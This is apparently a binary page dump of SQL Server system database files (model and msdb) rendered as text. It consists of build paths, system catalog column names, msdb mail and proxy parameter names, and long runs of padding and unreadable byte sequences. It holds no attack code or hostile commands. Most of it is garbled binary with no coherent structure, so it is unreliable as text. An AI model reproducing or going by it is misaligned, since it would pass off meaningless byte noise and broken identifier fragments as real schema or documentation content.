!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Z
,s^8!!!!`DT
_?\0kkZ@pxX:)qS})q$h™ ™$Ι{_tmodeldevd:\YukSp2CU\sql\ntdbms\scripts\usa\x86\model.mdf0 @
kkZ@pxX:)qS})q$h™ ™$Ι_zmodellogd:\YukSp2CU\sql\ntdbms\scripts\usa\x86\modellog.ldf0kZ@pxX})q$h™ ™$Ι{_modeldeve:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\model.mdf0 @
kZ@px})q$h™ ™$Ι_modelloge:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\modellog.ldf< 
Hc.N}kZ@px})q$h™ ™$Ι_MSDBDatae:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\MSDBData.mdf< @
n	:^HYoƹkZ@px})q$h™ ™$Ι_MSDBLoge:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\MSDBLog.ldf0 @
Hc.N}q׸)d۵
\l(s)
Fu(s~P|ָ)׸)33I@ϸ)x
=
Ks==== )_MSDBDatae:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\MSDBData.mdf0 @
s==	xn	:^HYoƹq׸)d۵
\l(s)

Fu(s~P|4O|4ָ)׸)33I@ϸ)x
=
Ks==== )_MSDBLoge:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\MSDBLog.ldf!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	
Z
+}^8!!!!`k-;?).%(0-=auid0-00=type0-Cownerid0-88
Astatus0-44=fgid0-Cpgfirst0-Apgroot0-Ipgfirstiam0-	Apcused0-
Apcdata0-Ipcreserved0-88
Astatus0-44Afileid0-4=name0-4Efilename0-88
=fgid0-88
Efgfragid0-88
Edbfragid0-88
Aphfgid0-88
Astatus0-88
Kpriority_id0-4=name0-88
[service_contract_id0-88
Ulocal_service_id0-4[remote_service_name0-00Epriority0-88
Edbfragid0-88
Afileid0-$$Efileguid0-4?pname0-88
=dbid0-88
Afragid0-4=name0-88
Cbrickid0-88
?pruid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afragid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-	88
=size0-
88
Cmaxsize0-88
Agrowth0-4?lname0-
4?pname0-

Gcreatelsn0-

Cdroplsn0-$$Efileguid0-	00Evalclass0-	9id0-	?subid0-	88
Avalnum0-	bbPP?value0-	@Eimageval-88
[service_contract_id0-88
Ulocal_service_id0-4[remote_service_name0-00Epriority0-88
Edbfragid0-88
Afileid0-$$Efileguid0-4?pname0-88
=dbid0-88
Afragid0-4=name0-88
Cbrickid0-88
?pruid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afragid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-	88
=size0-
88
Cmaxsize0-88
Agrowth0-4?lname0-
4?pname0-

Gcreatelsn0-

Cdroplsn0-$$Efileguid0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0- Aforkvc0-!$$Wredostartforkguid0-	00Evalclass0-	9idl-

j
-
`!d!

`
#
	#X?t7	`		bcx9;t3h^`f)Mي6` created6`hash6`id6`"modified6`name6`
0paramorhinttext6` scopeid6`$scopetype6`status6aclass6a idmajor6a intprop6aname6astatus6asubid6b"depclass6bdepid6b&indepclass6b indepdb6b$indepname6b(indepschema6b(indepserver6bnumber6b	status6h @name6h $@proxy_id6h (@proxy_name6+$@proxy_id6+(@proxy_name6+,@subsystem_id6+0@subsystem_name6O$@proxy_id6O(@proxy_name6O,@subsystem_id6O0@subsystem_name6t@name6t$@proxy_id6t(@proxy_name6L4@current_proxy_id6L8@current_proxy_name6L2@target_proxy_id6L6@target_proxy_name6&@new_value6(@login_name6 @job_id68@is_sysadmin_member60),@all_counters6w!&profile_id6w!name6w!(description6w!4last_mod_datetime6w!,last_mod_user6֣&profile_id6֣,principal_sid6֣&is_default6֣4last_mod_datetime6֣,last_mod_user6M@query6M0@attach_results6MF@query_attachment_filename6M&@no_output6M:@query_result_header6M&@separator6M(@echo_error6M@dbuse6M	@width6M
0@temp_table_uid6M6@query_no_truncate6MB@query_result_no_padding6;6@send_request_user6;$@user_sid6_,@profile_name6_(@recipients6_2@copy_recipients6_>@blind_copy_recipients6_"@subject6_@body6_*@body_format6_(@importance6_	*@sensitivity6_
4@file_attachments6_@query6_@@execute_query_database6_
J@attach_query_result_as_file6_F@query_attachment_filename6_:@query_result_header6_8@query_result_width6_@@query_result_separator6_<@exclude_query_output6_8@append_query_error6_6@query_no_truncate6_B@query_result_no_padding6_*@mailitem_id6_,@from_address6_$@reply_to6bstatus6b"priority6b,queuing_order6b<conversation_group_id6b8conversation_handle6b@message_sequence_number6b&message_id6b0message_type_id6b	&service_id6b
8service_contract_id6b&validation6b,next_fragment6b
,fragment_size6b0fragment_bitmap6b8binary_message_body6b:message_enqueue_time69K<conversation_group_id69K8binary_message_body6#
u@name6#
u$@folderid6\1i.parameter_name6\1i0parameter_value6yQ.parameter_name6yQ0parameter_value6E.@desired_state6@9.@instance_name6y-.@database_name6
"2@cache_directory6.,@cache_window6$*condition_id6$name6$*date_created6$(description6$&created_by6$(modified_by6$,date_modified6$4is_name_condition6$	facet6$
&expression6$"obj_name6$$is_system60@include_system6zeD@target_tree_root_with_id6@name6(@setting_id%^6$@user_sid6(object_type6(object_name6ǎ(instance_id6ǎ,instance_name6ǎ8virtual_server_name6ǎ*date_created6ǎ&created_by6ǎ8agent_proxy_account6ǎ0cache_directory6ǎ2management_state6|*6 mi_name6|*6Lis_volume_space_over_utilized6|*6Nis_volume_space_under_utilized6|*6Xis_computer_processor_over_utilized6|*6Zis_computer_processor_under_utilized6|*6His_file_space_over_utilized6|*6Jis_file_space_under_utilized6|*6Lis_mi_processor_over_utilized6|*6	Nis_mi_processor_under_utilized6|*6
:is_policy_overridden6|*6&set_number6|*60processing_timemessage_body6b:message_enqueue_time69Kstatus69K"priority69K,queuing_order69K<conversation_group_id69K8conversation_handle69K@message_sequence_number69K8binary_me0^<^ v\0L|v@F &RlVhB|2Xd ,T4Z6Ht"ZD

Ht
J.X
r$
B(Nh(
F
	
	v
	\		

h~bD&lP.~`<`
ZUv.^3.UVm8!!!!`(Uvˈ-A.`UVZmI3<@AB:C.DE6FJGas	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!